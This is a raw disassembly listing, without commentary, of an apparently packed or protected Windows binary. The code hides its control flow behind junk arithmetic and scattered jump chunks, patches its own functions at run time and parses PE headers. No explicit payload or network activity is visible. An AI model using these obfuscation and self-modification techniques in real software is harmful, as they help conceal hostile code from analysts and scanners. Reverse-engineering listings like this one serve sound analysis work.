sub_43CBF3	proc near		; CODE XREF: sub_40F8CA+1Bp
					; sub_40F8CA+45p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438F6E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AE86 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C21F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D624 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043D74B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DF39 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E5A0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044A728 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044ACCD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C4D2 SIZE 00000016 BYTES

		push	ebx
		push	5D0AE2EAh
		pop	ebx
		jmp	loc_43D624
sub_43CBF3	endp

; ---------------------------------------------------------------------------

loc_43CBFF:				; CODE XREF: y22d6.y.:00449E21j
		or	ebp, esi

; =============== S U B	R O U T	I N E =======================================



sub_43CC01	proc near		; CODE XREF: y22d6.y.:0043F1BFp
		xchg	eax, [esp+0]
		pop	eax
		lea	eax, sub_44928B
		call	sub_43921B

loc_43CC10:				; CODE XREF: y22d6.y.:0044923Fj
		jmp	nullsub_365
sub_43CC01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_43CC15:				; CODE XREF: sub_447268-4E69j
		jmp	sub_43EF0B
; END OF FUNCTION CHUNK	FOR sub_447268

; =============== S U B	R O U T	I N E =======================================



sub_43CC1A	proc near		; CODE XREF: sub_43AD94+F19Fj

; FUNCTION CHUNK AT 0043E285 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E469 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043FADA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443E94 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044809D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044AF9C SIZE 00000005 BYTES

		add	esp, 0FFFFFED0h
		push	edx
		push	0C098BA55h
		pop	edx
		or	edx, 0A33311FEh
		jmp	loc_43E469
sub_43CC1A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43CC32:				; CODE XREF: sub_449641:loc_447DA2j
		add	eax, 0C168B6A5h
		rol	eax, 0Ch
		add	eax, 8FC03033h
		call	sub_43CA1A
		push	esi
		jmp	loc_44245A
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_43CC4C:				; CODE XREF: sub_442856:loc_44B2A9j
		jge	loc_448681
		or	edx, 2AB00565h
; END OF FUNCTION CHUNK	FOR sub_442856
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43CC58:				; CODE XREF: sub_43B09B+8F6Fj
		jmp	loc_44991A
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_43CC5D:				; CODE XREF: y22d6.y.:00444769j
		shr	ebx, 15h

; =============== S U B	R O U T	I N E =======================================



sub_43CC60	proc near		; CODE XREF: sub_4432B8-7036p

; FUNCTION CHUNK AT 0044BA5E SIZE 00000005 BYTES

		xchg	ebx, [esp+0]

loc_43CC63:				; CODE XREF: y22d6.y.:0043FF86j
		pop	ebx
		push	esi
		push	offset loc_447F7F
		jmp	loc_44BA5E
sub_43CC60	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43CC6F:				; CODE XREF: sub_4432B8+23Dj
		push	edx
		call	sub_44A46F
		mov	eax, 726FC43Ah
		push	offset loc_449A47
		jmp	loc_43A335
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFF

loc_43CC84:				; CODE XREF: sub_443AFF:loc_4470FBj
					; y22d6.y.:00449355j
		xchg	eax, [esp+8+var_8]
		push	offset loc_447DC6
		jmp	nullsub_312
; END OF FUNCTION CHUNK	FOR sub_443AFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_43CC91:				; CODE XREF: sub_43FFE2:loc_440081j
		and	edx, eax
		setnz	byte ptr [ebp-5]
		push	eax
		mov	eax, esi
		xchg	eax, [esp+0]
		push	2F954E9Dh
		jmp	loc_4492B6
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_43CCA7:				; CODE XREF: sub_437901:loc_44C660j
		and	esi, eax
		xor	esi, 0FBB6A284h
		add	eax, edi
		jmp	loc_43D19A
; END OF FUNCTION CHUNK	FOR sub_437901

; =============== S U B	R O U T	I N E =======================================



sub_43CCB6	proc near		; DATA XREF: y22d6.y.:00448133o

; FUNCTION CHUNK AT 0044C1DD SIZE 00000005 BYTES

		mov	ds:off_41E184, eax
		lea	eax, sub_44C59C
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C1DD
sub_43CCB6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_43CCCA:				; CODE XREF: sub_44C59C:loc_4473F4j
		mov	eax, [esp+0]
		jmp	loc_43F957
; END OF FUNCTION CHUNK	FOR sub_44C59C

; =============== S U B	R O U T	I N E =======================================



sub_43CCD2	proc near		; CODE XREF: y22d6.y.:00440C87p
					; y22d6.y.:00441135j

; FUNCTION CHUNK AT 0044D38F SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ds:off_41E02C, eax
		lea	eax, sub_4464C8
		jmp	loc_44D38F
sub_43CCD2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43CCE7:				; CODE XREF: sub_44E5C7-137A8j
		sub	edx, 0E3A08B6h
		xor	edx, 0CD687293h
		add	edx, ebp
		add	edx, 6737142Eh
		jmp	loc_445AF7
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0CC, eax
		lea	eax, nullsub_341
		call	sub_44B629
; START	OF FUNCTION CHUNK FOR sub_444D45

loc_43CD11:				; CODE XREF: sub_444D45+9931j
		jmp	loc_444521
; END OF FUNCTION CHUNK	FOR sub_444D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443778

loc_43CD16:				; CODE XREF: sub_443778+3j
		jmp	loc_43881F
; END OF FUNCTION CHUNK	FOR sub_443778
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43CD1B:				; CODE XREF: sub_4432B8:loc_44B2FCj
		xor	ebx, 960A897h
		or	ebx, 3718135Bh
		add	ebx, 8122EE39h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_448991
; ---------------------------------------------------------------------------

loc_43CD35:				; CODE XREF: sub_4432B8+A7CAj
		and	ebp, 1E603732h
		jmp	loc_43BE59
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CDB7

loc_43CD40:				; CODE XREF: sub_44CDB7:loc_44AADEj
		sub	al, 99h
		push	9E7A0E09h
		pop	edx

loc_43CD48:				; CODE XREF: y22d6.y.:00442384j
		jmp	loc_441D2C
; ---------------------------------------------------------------------------

loc_43CD4D:				; CODE XREF: sub_44CDB7:loc_44386Ej
		jnz	loc_44D94E
		pop	edi
		jmp	loc_44D942
; END OF FUNCTION CHUNK	FOR sub_44CDB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43CD59:				; CODE XREF: sub_448EB6:loc_4484B2j
		sub	eax, 24AF43B6h
		xor	eax, 0B54276D0h
		or	eax, 3D80483Fh
		add	eax, 22683D4h
		add	eax, ebp
		add	eax, 804D3129h
		mov	eax, [eax]
		cmp	dword ptr [eax+3Ch], 0
		jmp	loc_439237
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_43CD84:				; CODE XREF: sub_43C65F+24ABj
		jnz	loc_44089E
		jmp	loc_444841
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
		xchg	edi, [ebx]
		jmp	loc_44E16A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43CD96:				; CODE XREF: sub_448EB6-D4E2j
		jns	loc_44050D
		mov	edi, 6DB59B9Fh
		jmp	loc_449BA5
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_43CDA6	proc near		; CODE XREF: sub_44625B+7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C9B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FAF1 SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	ebx
		push	0CC576D4Bh
		pop	ebx
		or	ebx, 0EFE575E6h

loc_43CDBA:				; CODE XREF: y22d6.y.:loc_4392AAj
		sub	ebx, 54D5C0FEh
		jmp	loc_43FAF1
sub_43CDA6	endp

; ---------------------------------------------------------------------------
		mov	eax, 0A5559D12h
		call	sub_43CA1A
		push	ebx
		mov	ebx, edx
		jmp	loc_44B9E3
; ---------------------------------------------------------------------------

loc_43CDD7:				; CODE XREF: y22d6.y.:00445703j
		jnz	loc_44D964
		jmp	loc_44A7A4
; ---------------------------------------------------------------------------

loc_43CDE2:				; DATA XREF: y22d6.y.:0044E076o
		xchg	eax, [esp]
		push	ebx
		push	0DA2011C6h
		pop	ebx
		or	ebx, 0E4E65878h
		jmp	loc_440122
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF5B

loc_43CDF7:				; CODE XREF: sub_43AF5B:loc_44CE9Dj
		add	edi, 39C42A0Dh
		test	edi, 10000000h
		jmp	loc_444F5A
; END OF FUNCTION CHUNK	FOR sub_43AF5B
; ---------------------------------------------------------------------------
		test	edi, 0C4B96D0Ch
		jmp	loc_4490EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_43CE13:				; CODE XREF: sub_441030:loc_440188j
					; y22d6.y.:004401A0j
		xor	edx, 0D9E06AACh
		rol	edx, 16h
		sub	edx, 6ED9EDAAh

loc_43CE22:				; CODE XREF: y22d6.y.:004478D1j
		xor	edx, 8D3F0BCFh
		add	edx, ebp
		add	edx, 892A4D49h
		jmp	loc_43BCE5
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43CE35:				; CODE XREF: sub_4432B8+F0j
		push	offset sub_43ED31
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E1F

loc_43CE3F:				; CODE XREF: sub_442E1F:loc_43B39Cj
		add	dword ptr [ebp-8], 4
		jmp	loc_44AF7E
; ---------------------------------------------------------------------------

loc_43CE48:				; CODE XREF: sub_442E1F-75B2j
		add	dword ptr [ebp-8], 2
		jmp	loc_44C753
; END OF FUNCTION CHUNK	FOR sub_442E1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_43CE51:				; CODE XREF: sub_44CB3F:loc_4371B2j
					; y22d6.y.:004471A0j
		test	byte ptr [ebp-8], 20h
		jz	loc_4498EC
		push	ebp
		jmp	loc_43F8ED
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_43CE61:				; CODE XREF: sub_43A041+DE9j
		ja	loc_43F4A4
		popf
		xor	esi, 0CA7F7C64h
; END OF FUNCTION CHUNK	FOR sub_43A041
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43CE6E:				; CODE XREF: sub_44B17B:loc_447130j
		rol	ebx, 7
		jmp	loc_43A554
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		mov	ecx, 5F5D5CAh
		jmp	loc_44B3F2
; ---------------------------------------------------------------------------

loc_43CE80:				; CODE XREF: y22d6.y.:loc_43B5D6j
					; y22d6.y.:00449DC2j
		jns	loc_441EEF
		pop	ebp
		jmp	loc_441FCC
; ---------------------------------------------------------------------------

loc_43CE8C:				; DATA XREF: y22d6.y.:loc_442C72o
		add	edi, 0B3D5AF3Eh
		sub	eax, edi
		call	sub_44949C
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43CE99:				; CODE XREF: sub_44AEDA-364j
		jmp	loc_43A640
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_43CE9E:				; CODE XREF: y22d6.y.:004376D7j
		jmp	loc_43DA1D
; ---------------------------------------------------------------------------

loc_43CEA3:				; CODE XREF: y22d6.y.:loc_447105j
					; y22d6.y.:0044712Bj
		add	eax, 8FAD748Eh
		xor	eax, 0F9088951h
		call	sub_43CA1A
		mov	ds:dword_41E174, eax
		jmp	loc_444561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A15

loc_43CEBF:				; CODE XREF: sub_445A15:loc_439B60j
		and	esi, 4280C511h
		jns	loc_43B1A4

loc_43CECB:				; CODE XREF: sub_437890+Cj
		jmp	nullsub_82
; END OF FUNCTION CHUNK	FOR sub_445A15
; ---------------------------------------------------------------------------
		rol	eax, 0Eh

loc_43CED3:				; CODE XREF: y22d6.y.:00438546j
		jle	loc_44490D
		or	esi, edi
		jmp	loc_43B1A4
; ---------------------------------------------------------------------------

loc_43CEE0:				; CODE XREF: y22d6.y.:0043BBD2j
		mov	edx, [ecx]

; =============== S U B	R O U T	I N E =======================================



sub_43CEE2	proc near		; CODE XREF: sub_4499C1:loc_445C96p

; FUNCTION CHUNK AT 00437ADB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004448EB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00445CD6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004487DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D6F5 SIZE 00000020 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		jmp	loc_44D6F5
sub_43CEE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_43CEF3:				; CODE XREF: sub_444D95:loc_43A109j
		jz	loc_43A39A
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0EBh
		jz	loc_43A39A
		jmp	loc_43F943
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44511C

loc_43CF0A:				; CODE XREF: sub_44511C+Fj
		pop	ebp
		add	esi, 33A5C582h
		or	esi, 5281C8A0h
		add	esi, 0A09BF35Fh
		mov	[esi], eax
		jmp	loc_449632
; END OF FUNCTION CHUNK	FOR sub_44511C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_43CF24:				; CODE XREF: sub_43B7D4+6776j
		not	edi
		mov	ecx, [eax]
		jmp	loc_441BB6
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_43CF2E:				; CODE XREF: sub_44B81B-145D3j
		jmp	loc_4441B8
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_43CF33:				; CODE XREF: sub_444427:loc_441962j
		jge	loc_43F0C4

loc_43CF39:				; CODE XREF: sub_4432B8-8089j
		jmp	loc_442AF3
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
		push	eax
		popf
		shr	ecx, 5
		rol	ecx, 15h
		jmp	loc_43F0BF
; ---------------------------------------------------------------------------

loc_43CF4B:				; DATA XREF: sub_44B17B:loc_43D5C5o
		ror	eax, 11h
		push	edi
		push	5209A741h
		pop	edi
		and	edi, 423D59ECh
		jmp	loc_43B4ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D5

loc_43CF60:				; CODE XREF: sub_4400D5:loc_449EDDj
		jl	loc_44E55F
		rol	eax, 1Fh
		sbb	ebp, edx
		pop	ebp
		jmp	loc_44E55D
; END OF FUNCTION CHUNK	FOR sub_4400D5
; ---------------------------------------------------------------------------

loc_43CF71:				; CODE XREF: y22d6.y.:0044B4B1j
		sub	edx, 0E025C5A3h
		add	edx, 0BF86B0EAh
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_198
		jmp	loc_43DB0B
; ---------------------------------------------------------------------------

loc_43CF8B:				; DATA XREF: sub_438B66+11C93o
		push	348790D3h
		pop	esi
		rol	esi, 1
		cmp	esi, 5425725h
		jmp	loc_44A10F

; =============== S U B	R O U T	I N E =======================================



sub_43CF9E	proc near		; CODE XREF: sub_4421D3+C95p
					; y22d6.y.:00449DF2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043906A SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp+0]
		mov	eax, [ebp-14h]
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+0]
		jmp	loc_43906A
sub_43CF9E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439FCB

loc_43CFB3:				; CODE XREF: sub_439FCB:loc_43ADABj
		push	offset sub_442245
		jmp	loc_443FB6
; END OF FUNCTION CHUNK	FOR sub_439FCB
; ---------------------------------------------------------------------------
		ror	ecx, 1Bh
		jmp	sub_43BC90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491D8

loc_43CFC5:				; CODE XREF: sub_4491D8:loc_44DEA3j
					; sub_4491D8+4CDBj
		or	edi, 893C7EFBh
		rol	edi, 0Ch
		add	edi, 5221B1h
		mov	[edi], eax
		call	sub_44D2DA
; END OF FUNCTION CHUNK	FOR sub_4491D8
; START	OF FUNCTION CHUNK FOR sub_443EA2

loc_43CFDB:				; CODE XREF: sub_443EA2-C515j
		jmp	loc_43781E
; END OF FUNCTION CHUNK	FOR sub_443EA2
; ---------------------------------------------------------------------------

locret_43CFE0:				; CODE XREF: y22d6.y.:loc_444255j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_43CFE1:				; CODE XREF: sub_4385ED+D08Fj
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		jmp	loc_44C149
; END OF FUNCTION CHUNK	FOR sub_4385ED

; =============== S U B	R O U T	I N E =======================================



sub_43CFF2	proc near		; CODE XREF: y22d6.y.:00439815j
					; sub_448EB6-9FE0p

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00439AAB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043C0AC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043CA15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443C21 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044465E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445067 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445CA0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00445CCC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044E1E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E44C SIZE 0000001E BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, edx
		pop	edx
		add	eax, 18h
		call	sub_440C4E

loc_43D001:				; CODE XREF: sub_44D088+17j
		jmp	loc_443C21
sub_43CFF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43D006:				; CODE XREF: sub_448EB6:loc_44A265j
		jnz	loc_441AB4
		jmp	loc_445C6E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43D011:				; CODE XREF: sub_43837F+2F87j
					; sub_43837F+516Fj ...
		jz	loc_43AB45
		cmp	dword ptr [ebp-1Ch], 66h
		call	sub_43837F
; END OF FUNCTION CHUNK	FOR sub_43837F
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43D020:				; CODE XREF: sub_4432B8+30Ej
		jmp	loc_44447D
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_43D025	proc near		; DATA XREF: sub_447AE3+10o

; FUNCTION CHUNK AT 00438201 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043A09B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043A87C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C15A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004464A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004482BD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00449F01 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044E3DD SIZE 0000000A BYTES

		cmp	dword ptr [eax-4], 4
		jnz	loc_44E3DD
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_4482BD
		jmp	loc_4464A8
sub_43D025	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43D03E:				; CODE XREF: y22d6.y.:00444FD4j
		jns	loc_43BFD0
		xor	edx, 0C5819C2h
		jmp	loc_440677
; ---------------------------------------------------------------------------

loc_43D04F:				; CODE XREF: y22d6.y.:00445C18j
		jz	loc_43976D

loc_43D055:				; CODE XREF: y22d6.y.:loc_445BFAj
		rol	ebx, 0Bh
		cmp	ebx, 5F98D307h
		jmp	loc_449FEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D9C7

loc_43D063:				; CODE XREF: sub_43D9C7+6j
		pop	ecx
		lea	eax, nullsub_15
		mov	byte ptr [eax],	0C3h
		jmp	loc_439E79
; END OF FUNCTION CHUNK	FOR sub_43D9C7
; ---------------------------------------------------------------------------
		call	nullsub_360
		jmp	ds:dword_41E178
; ---------------------------------------------------------------------------

loc_43D07D:				; CODE XREF: y22d6.y.:00442B8Fj
		jmp	loc_449E75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B06F

loc_43D082:				; CODE XREF: sub_44B06F-B835j
		jmp	loc_44DFF3
; END OF FUNCTION CHUNK	FOR sub_44B06F
; ---------------------------------------------------------------------------

loc_43D087:				; CODE XREF: y22d6.y.:0043AAFEj
		jmp	loc_44B314
; ---------------------------------------------------------------------------

loc_43D08C:				; CODE XREF: y22d6.y.:00438D0Bj
		jmp	loc_44C751
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_360. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	al, 24h
		mov	edx, ebp
		jmp	loc_43DF86
; ---------------------------------------------------------------------------

loc_43D09B:				; DATA XREF: sub_448E18-F42Eo
		push	eax
		push	0D350AA03h
		pop	eax
		add	eax, 196A4447h
		rol	eax, 10h
		push	offset sub_444A4D
		jmp	loc_43A85E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BA21

loc_43D0B5:				; CODE XREF: sub_44BA21:loc_449734j
		add	ecx, 277ADBD1h
; END OF FUNCTION CHUNK	FOR sub_44BA21
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_43D0BB:				; CODE XREF: sub_44D6D0:loc_4414F7j
		and	ecx, 7A5113E4h
		call	sub_439B1A

loc_43D0C6:				; CODE XREF: y22d6.y.:00447028j
		jmp	loc_441DBC
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_43D0CB:				; CODE XREF: sub_4425E0-A9Ej
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_4425E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B2C

loc_43D0D0:				; CODE XREF: sub_439B2C+2213j
		lea	eax, nullsub_324
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_324
; END OF FUNCTION CHUNK	FOR sub_439B2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43D0DE:				; CODE XREF: sub_4432B8:loc_4433E9j
		call	nullsub_333
		jmp	ds:dword_41E120
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_43D0E9:				; CODE XREF: y22d6.y.:loc_442BCDj
		jmp	loc_44C8D2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_333. PRESS KEYPAD	"+" TO EXPAND]
		db 80h
		dd 0B180h, 6A7FE9h, 6C8D0F00h, 870000E4h
; ---------------------------------------------------------------------------
		sti

loc_43D101:				; CODE XREF: y22d6.y.:00441F5Ej
		rol	ebx, 1Ch
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43D104:				; CODE XREF: sub_44271A:loc_445A5Aj
		add	ebx, 39F0146Eh
		mov	[ebx], eax
		jmp	loc_4383D0
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
		sbb	edx, 609A9E43h
		jmp	loc_43F3A7

; =============== S U B	R O U T	I N E =======================================



sub_43D11C	proc near		; CODE XREF: sub_44585C-5DF0p
					; y22d6.y.:00444E45j
		xchg	ebx, [esp+0]
sub_43D11C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43D11F:				; CODE XREF: sub_448EB6+261j
		pop	ebx
		push	edi
		mov	edi, edx
		push	offset loc_4385DE
		jmp	loc_43AE69
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43D12D:				; CODE XREF: y22d6.y.:loc_43EC7Cj
		jz	loc_43C144
		jmp	loc_43BE71
; ---------------------------------------------------------------------------

loc_43D138:				; DATA XREF: sub_447C9E-5D64o
		push	2206751Ah
		pop	eax
		rol	eax, 1Ah
		add	eax, 97BC033Dh
		xchg	eax, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_43D14F:				; CODE XREF: sub_44B489:loc_44CA2Ej
		jnz	loc_4420CA
		jmp	loc_44034F
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------

loc_43D15A:				; CODE XREF: y22d6.y.:0044C655j
		jg	locret_43A6D6
		add	ebp, eax
		jmp	loc_44083E
; ---------------------------------------------------------------------------

loc_43D167:				; CODE XREF: y22d6.y.:0044A340j
		js	loc_44DC4A

; =============== S U B	R O U T	I N E =======================================



sub_43D16D	proc near		; CODE XREF: sub_437B43+164DDp

; FUNCTION CHUNK AT 004438E7 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	ebx
		lea	eax, sub_441651
		mov	byte ptr [eax],	0C3h
		jmp	loc_4438E7
sub_43D16D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_43D180:				; CODE XREF: sub_437B43+Aj
		mov	eax, [esp-8+arg_4]
		push	esi
		jmp	loc_44AC43
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_43D189:				; CODE XREF: sub_4383E0+13596j
		add	eax, 910423C2h
		adc	edx, 3B45C450h
		jmp	loc_447739
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_43D19A:				; CODE XREF: sub_437901:loc_437951j
					; sub_437901+53B0j
		push	edx
		push	0B5FB0537h
		pop	edx
		and	edx, 1E419AD2h
		jmp	loc_43BDE7
; END OF FUNCTION CHUNK	FOR sub_437901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_43D1AC:				; CODE XREF: sub_441F08:loc_4463BDj
		test	edi, 1598C0FCh
		jmp	loc_44C406
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------

loc_43D1B7:				; DATA XREF: sub_445B95+4o
		adc	edx, [esp+4]
		add	esp, 8
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 4550h
		jmp	loc_437D31
; ---------------------------------------------------------------------------

loc_43D1CF:				; CODE XREF: y22d6.y.:0044D8DCj
		shl	eax, 3
		push	ecx
		push	0C3B2FA30h
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		jmp	loc_443792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_43D1E3:				; CODE XREF: sub_43C6D7:loc_439489j
					; sub_43C6D7+3C2Cj ...
		mov	eax, [ebp-4]
		call	sub_44A095

loc_43D1EB:				; CODE XREF: y22d6.y.:0043E4BAj
		jmp	loc_437766
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43D1F0:				; CODE XREF: sub_4432B8+299j
		jnz	loc_43EC62
		jnp	loc_43D319
